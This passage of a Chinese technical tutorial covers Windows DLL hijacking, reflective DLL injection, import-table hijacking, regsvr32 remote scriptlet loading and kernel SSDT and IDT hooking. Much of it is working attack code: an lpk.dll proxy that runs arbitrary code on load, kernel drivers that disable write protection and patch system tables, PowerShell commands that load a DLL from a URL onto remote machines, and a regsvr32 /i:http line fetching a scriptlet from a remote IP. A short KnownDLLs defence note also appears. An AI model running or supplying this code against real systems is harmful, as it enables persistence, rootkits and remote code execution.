1. 當註冊表HKLM\System\CurrentControlSet\Control\Session Manager鍵值下的屬性SafeDllSearchMode的值設置爲1時,DLL搜索順序以下
    1) 應用程序EXE所在的路徑。
    2) 系統目錄。
    3) 16位系統目錄
    4) Windows目錄
    5) 當前目錄
    6) PATH環境變量指定的目錄
2. 當SafeDllSearchMode的值爲0時,dll搜索順序又會變爲 
    1) 應用程序EXE所在的路徑。
    2) 當前目錄
    3) 系統目錄。
    4) 16位系統目錄
    5) Windows目錄
    6) PATH環境變量指定的目錄

然而在實際的」系統dll劫持「操做中,咱們會發現並非全部dll都能被劫持,xp和win7及win7之後的系統劫持效果也有所不一樣。Win7及之後的系統增長了HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 來拒絕部分系統dll被劫持。該註冊表中的dll名稱不容許被劫持,即系統dll劫持會失敗。
不過,微軟又莫名其妙的容許用戶在上述註冊表路徑中添加「ExcludeFromKnownDlls」註冊表項,排除一些被「KnownDLLs註冊表項」機制保護的DLL。也就是說,只要在「ExcludeFromKnownDlls」註冊表項中添加你想劫持的DLL名稱就能夠對該DLL進行劫持,不過修改以後須要從新啓動電腦才能生效
除了系統dll劫持以外,黑客還經常使用針對某個應用程序一塊兒分發的dll的劫持,這種dll劫持系統自己不提供保護,須要應用程序本身去作簽名和完整性校驗

DLL劫持主要是由於Windows的資源共享機制。爲了儘量多得安排資源共享,微軟建議多個應用程序共享的任何模塊應該放在Windows的系統目錄中,如kernel32.dll,這樣可以方便找到。可是隨着時間的推移,安裝程序會用舊文件或者未向後兼容的新文件來替換系統目錄下的文件,這樣會使一些其餘的應用程序沒法正確執行,所以,微軟改變了策略,建議應用程序將全部文件放到本身的目錄中去,而不要去碰系統目錄下的任何東西。
爲了提供這樣的功能,在Window2000開始,微軟加了一個特性,強制操做系統的加載程序首先從應用程序目錄中加載模塊,只有當加載程序沒法在應用程序目錄中找到文件,才搜索其餘目錄。利用系統的這個特性,就可使應用程序強制加載咱們指定的DLL作一些特殊的工做。
例如,Windows的系統目錄下有一個名爲LPK.DLL的系統文件,程序運行時會在c:\Windows\system32文件夾下找到這個DLL文件並加載它。如打開記事本程序

HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
1. 若是爲1,搜索的順序爲: 應用程序所在目錄 -> 系統目錄(用GetSystemDirectory獲取) -> 16位系統目錄 -> Windows目錄(用GetWindowsDirectory獲取) -> 運行程序的當前目錄 -> PATH環境變量
2. 若是爲0,搜索順序爲: 應用程序所在目錄 -> 運行程序的當前目錄 -> 系統目錄(用GetSystemDirectory獲取) -> 16位系統目錄 -> Windows目錄(用GetWindowsDirectory獲取) -> PATH環境變量

Windows Server 2003默認值爲1,Windows XP/2000默認值爲0或者沒有這個鍵值。可是無論是哪一種狀況,第一個搜索的確定是應用程序的所在目錄,這樣就有機會讓應用程序去加載咱們的DLL。若是這個DLL和系統目錄下的某個DLL同名,導出表也相同,功能就是加載系統目錄下的那個DLL,而且將導出錶轉發到那個真實的DLL。這時DLL劫持就發生了。能夠看出,構造一個符合上面要求的DLL,再將其放在可執行文件的目錄便可實現DLL劫持了

0x2: DLL劫持的實現

經過編程來實現一個LPK.DLL文件,它與系統目錄下的LPK.DLL導出表相同,並能加載系統目錄下的LPK.DLL,而且能將導出錶轉發到真實的LPK.DLL

1. 構造一個與系統目錄下LPK.DLL同樣的導出表 
2. 加載系統目錄下的LPK.DLL 
3. 將導出函數轉發到系統目錄下的LPK.DLL上 
4. 在初始化函數中加入咱們要執行的代碼 

lpk.cpp

// lpk.cpp : Defines the entry point for the DLL application.
//
#pragma comment(lib, "user32.lib")

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 頭文件
#include "stdafx.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 宏定義
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//LpkEditControl導出的是數組,不是單一的函數(by Backer)
EXTERNC void __cdecl AheadLib_LpkEditControl(void);   
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl};   

////////////////////////////////////////////////////////////////////////////////////////////////  
//添加全局變量

////////////////////////////////////////////////////////////////////////////////////////////////  

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// AheadLib 命名空間
namespace AheadLib
{
    HMODULE m_hModule = NULL;    // 原始模塊句柄
    
    // 加載原始模塊
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        TCHAR tzTemp[MAX_PATH * 2];
        
        GetSystemDirectory(tzPath, MAX_PATH);
        lstrcat(tzPath, TEXT("\\lpk"));
        m_hModule=LoadLibrary(tzPath);
        if (m_hModule == NULL)
        {
            wsprintf(tzTemp, TEXT("沒法加載 %s,程序沒法正常運行。"), tzPath);
            MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
        };
        
        return (m_hModule != NULL);    
    }
    
    // 釋放原始模塊
    inline VOID WINAPI Free()
    {
        if (m_hModule)
        {
            FreeLibrary(m_hModule);
        }
    }
    
    // 獲取原始函數地址
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        TCHAR tzTemp[MAX_PATH];
        
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf(szProcName, "%d", pszProcName);
                pszProcName = szProcName;
            }
            
            wsprintf(tzTemp, TEXT("沒法找到函數 %hs,程序沒法正常運行。"), pszProcName);
            MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
            ExitProcess(-2);
        }
        
        return fpAddress;
    }
}
using namespace AheadLib;
////////////////////////////////////////////////////////////////////////////////////////////////  

////////////////////////////////////////////////////////////////////////////////////////////////  
//函數聲明
void WINAPIV Init(LPVOID pParam);
////////////////////////////////////////////////////////////////////////////////////////////////  

void WINAPIV Init(LPVOID pParam)
{
    //在這裏添加DLL加載代碼
    MessageBox(NULL, TEXT("能夠執行任意代碼了,測試成功。"), TEXT("littlehann.com"), MB_OK | MB_ICONWARNING);
    return; 
} 

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            //LpkEditControl這個數組有14個成員,必須將其複製過來    
            memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);   
            _beginthread(Init,NULL,NULL);
        }
        else
            return FALSE;
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        Free();
    }
    return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkInitialize(void)
{
    GetAddress("LpkInitialize");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
    GetAddress("LpkTabbedTextOut");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkDllInitialize(void)
{
    GetAddress("LpkDllInitialize");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkDrawTextEx(void)
{
    GetAddress("LpkDrawTextEx");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkEditControl(void)
{
    GetAddress("LpkEditControl");
    __asm jmp DWORD ptr [EAX];//這裏的LpkEditControl是數組,eax存的是函數指針
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkExtTextOut(void)
{
    GetAddress("LpkExtTextOut");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
    GetAddress("LpkGetCharacterPlacement");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
    GetAddress("LpkGetTextExtentExPoint");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkPSMTextOut(void)
{
    GetAddress("LpkPSMTextOut");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
    GetAddress("LpkUseGDIWidthCache");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 導出函數
ALCDECL AheadLib_ftsWordBreak(void)
{
    GetAddress("ftsWordBreak");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
win7及win7以上系統增長了KnownDLLs保護,須要在註冊表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls
下添加 "lpk.dll" 才能順利劫持。
*/

0x3: DLL劫持防護

1. 添加KnownDLL

HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\KnownDLL
該項下的子健表明了dll的名字,若是這裏存在lpk.dll,則系統不會加載當前目錄下的lpk.dll,而是會去系統盤加載

Relevant Link:

http://drops.xmd5.com/static/drops/tips-9106.html 
http://www.yunsec.net/a/school/bdzs/fmuma/2013/0117/12276.html
http://www.cnblogs.com/swyft/articles/5580342.html 
https://github.com/eric21/lpk
http://www.cnblogs.com/goding/archive/2012/04/04/2431966.html 
http://gslab.qq.com/article-205-1.htm

 

16. Reflective DLL Injection with PowerShell

基於powershel的dll反射注入和基於shellcode的dll反射植入原理都是同樣的,區別在於執行的載體是powershell,在攻擊時,系統上也會多出一個powershell進程,黑客利用漏洞得到指令的執行權限後,能夠遠程執行執行powershell script

0x1: How to use

The script currently allows you to load a DLL from a local file (and execute it remotely) or retrieving the DLL from a URL. It is also possible and easy to modify the script with a hardcoded DLL byte array

# loads a DLL from a URL and runs it on a remote computer:
Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER

# loads a DLL from a file and runs it on a list of computers loaded from computers.txt:
Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt)

PowerShell.exe -file Invoke-ReflectivePEInjection.ps1 –DllPath C:\Users\Administrator\Documents\Visual Studio 2017\Projects\testDll\Release\testDll.dll –FuncReturnType VoidFunc –ComputerName WINDOWS-2181810

-FuncReturnType參數用於指定須要從DLL中執行的導出函數.
Once the DLL is loaded, the script will call a function of your choosing from the DLL. This means you must create a delegate function in PowerShell, retrieve the function address in the DLL, map it to the delegate function, and call the function.
The ComputerName parameter is exactly the same as ComputerName in Invoke-Command (the variable is passed directly to Invoke-Command); you can use it to specify one or more computers to run the script on remotely. This is an optional parameter, if you specify no ComputerName the script will run locally.

運行時,可能會遇到以下錯誤

windows默認禁止未簽名過的pshell腳本

set-ExecutionPolicy RemoteSigned 

Relevant Link:

http://blog.gentilkiwi.com/mimikatz
https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf 
https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

 

17. 修改exe文件自身導入表劫持dll

在惡意軟件中,黑客經常使用的作法大概是這樣的

1. 在初始投遞的惡意樣本中自帶一個dll文件(多是放在資源段中)
2. 樣本啓動後將dll釋放出來,而後複製到系統目錄下(system32)
3. 遍歷C盤下全部的.exe文件
4. 將每一個.exe文件導入表中的kernel32.dll修改成黑客複製過來的dll文件,例如kernel32_hacked.dll
5. 這樣,系統中這些程序啓動時,就會由系統本身的image loader去加載kernel32_hacked.dll,從而執行其中dllMain裏面的惡意邏輯
6. 爲了保證系統中正常程序能正常啓動運行,kernel32_hacked.dll必須拷貝原來kernel32.dll中的全部導出函數做爲本身的導出函數,即作一次轉發,起到Hook的邏輯

從技術原理上看,這種劫持技術和lpk劫持是同樣的,區別在於lpk劫持不修改目標exe自己,而是"順應環境",在目標exe的導入dll中挑選一個進行劫持,若是目標應用沒有使用自定義的dll而只使用了原生的系統dll,則由於系統dll的反劫持保護(UnKnownDdlls)的關係,dll劫持就很難進行,遇到這種狀況,就須要修改目標exe自己,對其導入的dll修改成黑客本身的dll,並在黑客放置的劫持dll中進行api轉發

這種dll劫持技術有一個缺點,就是不能對運行中的進程實施dll劫持,必須等目標進程從新啓動或者從新加載到對應dll的時候纔會觸發劫持邏輯,若是目標進程是一個運行中的常駐進程,則就須要用到其餘dll注入api hook技術

Relevant Link:

https://wenku.baidu.com/view/869b06758e9951e79b8927ee
http://yonsm.net/aheadlib/
https://github.com/Yonsm/AheadLib
http://yonsm.net/aheadlib/
http://www.programgo.com/article/31511075396

 

18. 利用regsvr32 /s /i:http:註冊dll組件

Regsvr32命令是Windows中控件文件(如擴展名爲DLL、OCX、CPL的文件)的註冊和反註冊工具。命令格式

Regsvr32 [/s] [/n] [/i[:cmdline]] dllname   

/u 卸載安裝的控件,卸載服務器註冊
/s 註冊成功後不顯示操做成功信息框
/i 調用DllInstall函數並把可選參數[cmdline]傳給它,當使用/u時用來卸載DLL  
/n 不調用DllRegisterServer,該參數必須和/i一塊兒使用

黑客在獲取RDP弱口令以後,經常使用at計劃任務、wmi計劃任務,或者psexec執行下列指令

regsvr32 /u /s /i:http://30.11.230.10/test/v.sct scrobj.dll

wireshark抓包以下

Relevant Link:

http://carywu.blog.51cto.com/13185/9536
https://technet.microsoft.com/en-us/library/bb490985.aspx

 

19. windows SSDT hook - 內核態hook

系統服務描述表(SSDT)也稱爲系統服務分發表,微軟使用它來查找進入內核的系統調用,它一般不被第三方應用程序直接訪問。內核代碼只能被用戶態的SYSCALL、SYSENTER、INT 0X2E指令來訪問(這是軟件中斷)

typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;  //這個參數是ssdt數組的基址,有了它,咱們再給出具體函數的偏移,就能找到正確的函數地址了

    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;   //這個是ssdt這個數組的最大值,也就是ssdt中函數的個數
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

有了這個結構事後,按照偏移就能夠找到想要Hook的函數的地址了。可是hook以前,須要修改內核保護,不然遇到藍屏問題

void PageProtectOff()
{
    __asm{
        cli
            mov  eax,cr0
            and  eax,not 10000h
            mov  cr0,eax
        }
}

Cro這個寄存器就保存了內核保護的標誌位,用 10000h取反再和他進行與運算,就使標誌位從1變成0了,就能夠修改內核了

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; 
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

NTSTATUS
    PsLookupProcessByProcessId(
    IN HANDLE ProcessId,
    OUT PEPROCESS *Process
    );
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef NTSTATUS(*MYNTOPENPROCESS)(
    OUT PHANDLE             ProcessHandle,
    IN ACCESS_MASK          AccessMask,
    IN POBJECT_ATTRIBUTES   ObjectAttributes,
    IN PCLIENT_ID           ClientId );//定義一個指針函數,用於下面對O_NtOpenProcess進行強制轉換
ULONG O_NtOpenProcess;

BOOLEAN ProtectProcess(HANDLE ProcessId,char *str_ProtectObjName)
{
    NTSTATUS status;
    PEPROCESS process_obj;
    if(!MmIsAddressValid(str_ProtectObjName))//這個條件是用來判斷目標進程名是否有效
    {
        return FALSE;
    }
    if(ProcessId==0)//這個條件是用來排除System Idle Process進程的干擾
    {
        return FALSE;
    }
    status=PsLookupProcessByProcessId(ProcessId,&process_obj);//這句用來獲取目標進程的EPROCESS結構
    if(!NT_SUCCESS(status))
    {
        KdPrint(("error :%X---is s process ID:%d",status,ProcessId));
        return FALSE;
    }
    if(!strcmp((char *)process_obj+0x174,str_ProtectObjName))//進行比較
    {
        ObDereferenceObject(process_obj);//對象計數器減1,爲了恢復對象管理器計數,便於回收
        return TRUE;
    }
    ObDereferenceObject(process_obj);
    return FALSE;
}
NTSTATUS MyNtOpenProcess (
    __out PHANDLE ProcessHandle,
    __in ACCESS_MASK DesiredAccess,
    __in POBJECT_ATTRIBUTES ObjectAttributes,
    __in_opt PCLIENT_ID ClientId
    )
{
    //KdPrint(("%s",(char *)PsGetCurrentProcess()+0x174));
    if(ProtectProcess(ClientId->UniqueProcess,"calc.exe"))
    {
        KdPrint(("%scan not open me",(char *)PsGetCurrentProcess()+0x174));
        return STATUS_UNSUCCESSFUL;
    }
    //KdPrint(("Hook Success!"));
    return ((MYNTOPENPROCESS)O_NtOpenProcess)(ProcessHandle,//處理完本身的任務後,調用原來的函數,讓其它進程正常工做
        DesiredAccess,
        ObjectAttributes,
        ClientId);
}

void PageProtectOff()//關閉頁面保護
{
    __asm{
        cli
            mov  eax,cr0
            and  eax,not 10000h
            mov  cr0,eax
        }
}
void PageProtectOn()//打開頁面保護
{
    __asm{
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax
        sti
    }
}

void UnHookSsdt()
{
    PageProtectOff();
    KeServiceDescriptorTable.ServiceTableBase[122]=O_NtOpenProcess;//恢復ssdt中原來的函數地址
    PageProtectOn();
}
NTSTATUS ssdt_hook()
{ 
    O_NtOpenProcess=KeServiceDescriptorTable.ServiceTableBase[122];//保存原來的函數地址
    PageProtectOff();
    //將原來ssdt中所要hook的函數地址換成咱們本身的函數地址
    KeServiceDescriptorTable.ServiceTableBase[122]=(unsigned int)MyNtOpenProcess;
    PageProtectOn();
    return STATUS_SUCCESS;
}
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
    UnHookSsdt();
    KdPrint(("Driver Unload Success !"));
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegsiterPath)
{
    DbgPrint("This is My First Driver!");
    ssdt_hook();
    pDriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

Relevant Link:

http://bbs.pediy.com/thread-176477.htm
http://www.cnblogs.com/BoyXiao/archive/2011/09/04/2166596.html

 

20. windows IDT hook - 內核態hook

現代的處理器實現了用硬件方式觸發軟件事件的中斷,系統發送一條命令到硬件,硬件處理完事件後會向cpu發送中斷信號,中斷處理器。有時,驅動或者rootkit會利用中斷來執行代碼,驅動程序調用ioconnectinterrupt函數爲特定中斷註冊一個處理程序,而後爲這個中斷指定一箇中斷服務例程(ISR),每當觸發該中斷時,系統都會調用註冊的中斷服務例程

中斷描述表(IDT)存儲着ISR的信息,IDT表的長度與地址是由CPU的IDTR寄存器來描述的。IDTR寄存器共有48位,高32位是IDT表的基地址,低16位是IDT的長度

typedef struct _IDTR{
    USHORT   IDT_limit;
    USHORT   IDT_LOWbase;
    USHORT   IDT_HIGbase;
}IDTR,*PIDTR;

IDTR        idtr;
__asm SIDT idtr;

能夠經過以上SIDT指令能夠讀取IDTR寄存器。而後經過MAKEWORD宏把高位與地位組合起來就能夠得到IDT表的基地址了。
簡單來講,IDT表是一張位於物理內存的線性表,共有256個表項。在32位模式下,每一個IDT表項的長度是8個字節(64 bit),IDT表的總長度是2048字節

kd> r idtr
idtr=8003f400
kd> r idtl
idtl=000007ff

經過Windbg命令 r idtr、r idtl能夠讀取IDT表的基地址與邊界

IDT表中每一項(4byte)也稱爲「門描述符」,之因此這樣稱呼,是由於IDT表項的基本用途就是引領CPU從一個空間到另外一個空間去執行,每一個表項好像是一個空間到另外一個空間的大門。
IDT表中能夠包含如下3種門描述符,它們本質都同樣,只是表明了不一樣的業務場景

1. 任務門描述符: 用於任務切換,裏面包含用於選擇任務狀態段(TSS)的段選擇子。可使用JMP或CALL指令經過任務門來切換到任務門所指向的任務,當CPU由於中斷或異常轉移到任務門時,也會切換到指定任務
2. 中斷門描述符: 用於描述中斷例程的入口 
3. 陷阱門描述符: 用於描述異常處理例程的入口 

HOOK代碼

#ifndef CXX_IDTHOOK_H
#    include "IDTHook.h"
#endif

#define WORD  USHORT
#define DWORD ULONG

ULONG g_InterruptFun = 0;

#define MAKELONG(a, b)      ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) \
                            | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16))

NTKERNELAPI VOID KeSetSystemAffinityThread ( KAFFINITY Affinity );  
NTKERNELAPI VOID KeRevertToUserAffinityThread ( VOID );  



PULONG GetKiProcessorBlock()
{
    ULONG* KiProcessorBlock = 0;

    KeSetSystemAffinityThread(1); //使當前線程運行在第一個處理器上  

    _asm
    {
        push eax
        mov  eax,FS:[0x34]
        add  eax,20h
        mov  eax,[eax]
        mov  eax,[eax]
        mov  eax,[eax+218h]
        mov  KiProcessorBlock,eax
        pop  eax
    }

    KeRevertToUserAffinityThread();

    return KiProcessorBlock ; 

}
void PageProtectOn()
{
    __asm{//恢復內存保護  
        mov  eax,cr0
            or   eax,10000h
            mov  cr0,eax
            sti
    }
}

void PageProtectOff()
{
    __asm{//去掉內存保護
        cli
            mov  eax,cr0
            and  eax,not 10000h
            mov  cr0,eax
    }
}


void _stdcall FilterInterruptFun()
{
    DbgPrint("CurrentProcess : %s",(char*)PsGetCurrentProcess()+0x174);
}

_declspec(naked)
void Fake_InterruptFun()
{
    _asm{
        pushad
        pushfd

        push fs
        push 0x30
        pop  fs
        
        call FilterInterruptFun;
        pop  fs

        popfd
        popad

        jmp g_InterruptFun
    }
};

NTSTATUS
DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString)
{
    IDTR        Idtr;
    PIDTENTRY   pIdtEntry;
    ULONG       ulIndex = 0 ;
    ULONG*      KiProcessorBlock;
    
    pDriverObj->DriverUnload = DriverUnload;

    KiProcessorBlock = GetKiProcessorBlock();

    DbgPrint("%X\r\n",KiProcessorBlock);

    while (KiProcessorBlock[ulIndex])
    {
        pIdtEntry = *(PIDTENTRY*)(KiProcessorBlock[ulIndex] - 0x120 + 0x38) ;

        DbgPrint("IDT Base:%X\r\n",pIdtEntry);

        g_InterruptFun = MAKELONG(pIdtEntry[3].LowOffset,pIdtEntry[3].HiOffset);

        DbgPrint("InterruptFun3:%X\r\n",g_InterruptFun);

         PageProtectOff();
        pIdtEntry[3].LowOffset = (unsigned short)((ULONG)Fake_InterruptFun & 0xffff);
         pIdtEntry[3].HiOffset  = (unsigned short)((ULONG)Fake_InterruptFun >> 16);
         PageProtectOn();

        ulIndex++;
    }


    return STATUS_SUCCESS;
}

VOID
DriverUnload(IN PDRIVER_OBJECT pDriverObj)
{    
    
    return;
}

裏面得到IDT表的時候沒有經過寄存器IDTR進行讀取,是由於對於多核CPU來講不必定只有一個IDT表,而經過IDTR來讀取只能讀到一份表,因此HOOK IDT的時候必定要注意多核問題
系統維護了一個全局的處理器數組KiProcessorBlock,其中每一個元素對應於一個處理器的KPRCB 對象

Relevant Link:

http://www.cnblogs.com/zibility/p/5663825.html
http://www.cnblogs.com/lanrenxinxin/p/4692013.html

 

21. IAT hook - 用戶態hook

iat hook是一種針對單個應用態進程的單點hook,這種掛鉤方法修改目標進程的導入地址表(iat)

每一個進程調用的 API 函數地址都保存在 IAT 表中。爲了修改這個IAT表,咱們能夠採起dll注入或者writeremoteprocess的方法,最終目的都同樣,修改遠程目標進程的iat 函數調用

Relevant Link:

http://blog.csdn.net/misterliwei/article/details/840983
http://www.freebuf.com/articles/system/99141.html
http://bbs.pediy.com/thread-141437.htm

Copyright (c) 2017 LittleHann All rights reserved

相關文章
相關標籤/搜索